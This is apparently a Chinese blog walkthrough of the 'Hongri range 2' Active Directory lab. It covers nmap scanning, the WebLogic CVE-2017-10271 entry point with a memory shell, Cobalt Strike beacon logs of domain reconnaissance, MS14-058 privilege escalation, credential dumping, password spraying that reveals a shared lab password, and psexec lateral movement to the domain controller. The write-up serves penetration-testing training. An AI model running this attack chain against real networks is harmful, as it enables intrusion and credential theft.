421 字
1 分钟
红日靶场二

红日靶场二#

拓扑图#

img

前期信息收集+web攻防#

在拿到这个靶机的时候我们直接nmap -sV 192.168.111.80是不可以的

✘ ⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场二  nmap -sV 192.168.111.80
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-10 17:20 CST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.32 seconds

他会返回这个

然后这个原因是这个80靶机不允许ICMP协议

但是nmap是默认探测主机是否存活 所以直接不进行端口扫描

nmap -Pn 192.168.111.80

⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场二  nmap -Pn 192.168.111.80
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-10 17:21 CST
Nmap scan report for 192.168.111.80
Host is up (0.080s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
3389/tcp open ms-wbt-server
7001/tcp open afs3-callback
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49176/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds

开放端口是80 135 139 445 1433 3389 7001 49152 49153 49154 49176

给的信息不是很完全加上-sV参数看一下

⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场二  nmap -Pn -sV 192.168.111.80
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-10 17:26 CST
Nmap scan report for 192.168.111.80
Host is up (0.086s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2
3389/tcp open ssl/ms-wbt-server?
7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49176/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.94 seconds

发现7001是一个WebLogic 猜测入口点在这里

然后根据版本去搜索漏洞 这个版本比较出名的就是CVE-2017-10271

使用利用工具生成内存码到蚁剑进行利用

image-20260910182641559

image-20260910182649985

这个地方呢需要注意蚁剑模式选择custom

内网信息收集#

信息收集常用命令

ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)

打开cs

生成一个后门 通过蚁剑船上执行

image-20260910183647226

执行ipconfig

[09/10 18:36:34] [*] Tasked beacon to run: ipconfig
[09/10 18:36:34] [+] host called home, sent: 39 bytes
[09/10 18:36:35] [+] received output:
Windows IP 配置
以太网适配器 本地连接 2:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::d812:491a:601c:45c0%13
IPv4 地址 . . . . . . . . . . . . : 10.10.10.80
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 10.10.10.1
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::c43b:6d74:a002:b816%11
IPv4 地址 . . . . . . . . . . . . : 192.168.111.80
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.111.1
隧道适配器 isatap.{AD80CD23-D97F-4814-A715-9248D845EA0F}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 isatap.{D7E14072-49B9-45D3-BA8C-7955E6146CC2}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :

10.10.10.80

192.168.111.80

然后我们查看域用户

[09/10 18:37:26] [*] Tasked beacon to run: net user /domain
[09/10 18:37:27] [+] host called home, sent: 47 bytes
[09/10 18:37:28] [+] received output:
这项请求将在域 de1ay.com 的域控制器处理。
\\DC.de1ay.com 的用户帐户
-------------------------------------------------------------------------------
Administrator de1ay Guest
krbtgt mssql
命令成功完成。
[09/10 19:11:40] beacon> shell net group "domain controllers" /domain
[09/10 19:11:40] [*] Tasked beacon to run: net group "domain controllers" /domain
[09/10 19:11:41] [+] host called home, sent: 81 bytes
[09/10 19:11:49] [+] received output:
这项请求将在域 de1ay.com 的域控制器处理。
组名 Domain Controllers
注释 域中所有域控制器
成员
-------------------------------------------------------------------------------
DC$
命令成功完成
[09/10 19:11:51] beacon> shell net group "domain computers" /domain
[09/10 19:11:51] [*] Tasked beacon to run: net group "domain computers" /domain
[09/10 19:11:51] [+] host called home, sent: 79 bytes
[09/10 19:12:00] [+] received output:
这项请求将在域 de1ay.com 的域控制器处理。
组名 Domain Computers
注释 加入到域中的所有工作站和服务器
成员
-------------------------------------------------------------------------------
PC$ WEB$
命令成功完成。

ping一下DC

[09/10 18:37:58] beacon> shell ping de1ay.com
[09/10 18:37:58] [*] Tasked beacon to run: ping de1ay.com
[09/10 18:37:58] [+] host called home, sent: 45 bytes
[09/10 18:38:08] [+] received output:
正在 Ping de1ay.com [10.10.10.10] 具有 32 字节的数据:
来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128
10.10.10.10 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms

内网提权#

然后因为看到我们这个用户并不是域用户 我们尝试使用一些提权方法拿到system权限 最终使用MS14-058拿到了system

image-20260910192005208

拿到system后 我们对端口进行信息收集(其实我们目标已经确定是10.10.10.10了)

横向移动#

我们拿到后去提取一下密码

image-20260910192001805

拿到的密码都是一样的

然后我们用密码喷射的插件得到

[09/10 19:18:19] [+] --------------------------------------------密码喷洒------------------------------------------------------------
[09/10 19:18:19] [+] 该功能仅限于当前主机在域内
[09/10 19:18:19] [*] Tasked beacon to import: D:\Cyber_Security\tool\web\Intranet_penetration\信息收集\plugin\谢公子插件\.\powershell\DomainPasswordSpray.ps1
[09/10 19:18:19] [+] host called home, sent: 6760 bytes
[09/10 19:18:33] [*] Tasked beacon to run: Invoke-DomainPasswordSpray -Password 1qaz@WSX (unmanaged)
[09/10 19:18:33] [+] host called home, sent: 134277 bytes
[09/10 19:18:53] [+] received output:
[*] Current domain is compatible with Fine-Grained Password Policy.
[09/10 19:19:02] [+] received output:
ERROR: 不能对值为空的表达式调用方法。
ERROR: 所在位置 行:541 字符: 66
ERROR: + $stripped_split_a, $stripped_split_b = $stripped_policy.split <<<< (':',2)
ERROR: + CategoryInfo : InvalidOperation: (split:String) [], RuntimeException
ERROR: + FullyQualifiedErrorId : InvokeMethodOnNull
ERROR:
ERROR: 使用“2”个参数调用“ToInt32”时发生异常:“索引超出范围。必须为非负值并小于集合大小。
ERROR: 参数名: startIndex”
ERROR: 所在位置 行:543 字符: 50
ERROR: + [int]$observation_window = [convert]::ToInt32 <<<< ($observation_window_no_spaces, 10)
ERROR: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
ERROR: + FullyQualifiedErrorId : DotNetMethodException
ERROR:
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] Removing disabled users from list.
[*] There are 3 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 3 users gathered from the current user's domain
[09/10 19:19:08] [+] received output:
ERROR: 不能对值为空的表达式调用方法。
ERROR: 所在位置 行:541 字符: 66
ERROR: + $stripped_split_a, $stripped_split_b = $stripped_policy.split <<<< (':',2)
ERROR: + CategoryInfo : InvalidOperation: (split:String) [], RuntimeException
ERROR: + FullyQualifiedErrorId : InvokeMethodOnNull
ERROR:
ERROR: 使用“2”个参数调用“ToInt32”时发生异常:“索引超出范围。必须为非负值并小于集合大小。
ERROR: 参数名: startIndex”
ERROR: 所在位置 行:543 字符: 50
ERROR: + [int]$observation_window = [convert]::ToInt32 <<<< ($observation_window_no_spaces, 10)
ERROR: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
ERROR: + FullyQualifiedErrorId : DotNetMethodException
ERROR:
[*] The domain password policy observation window is set to minutes.
[*] Setting a minute wait in between sprays.
[*] Password spraying has begun with 1 passwords
[*] This might take a while depending on the total number of users
[*] Now trying password 1qaz@WSX against 3 users. Current time is 11:19
[*] Writing successes to
[*] SUCCESS! User:Administrator Password:1qaz@WSX
1 of 3 users tested
[*] SUCCESS! User:de1ay Password:1qaz@WSX
2 of 3 users tested
[*] SUCCESS! User:mssql Password:1qaz@WSX
3 of 3 users tested
[*] Password spraying is complete

然后我们拿到域控的密码就是1qaz@WSX

拿到密码后我们用psexec进行横向

image-20260910192213453

image-20260910192247843

把域换成DE1AY

上线成功 然后发现有个插件可以找flag 然后读取 完成这个靶机

image-20260910192349208

image-20260910192317424

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

红日靶场二
https://blog.hollowqing.cn/posts/pentest/红日靶场二/
作者
Hollow
发布于
2026-09-10
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录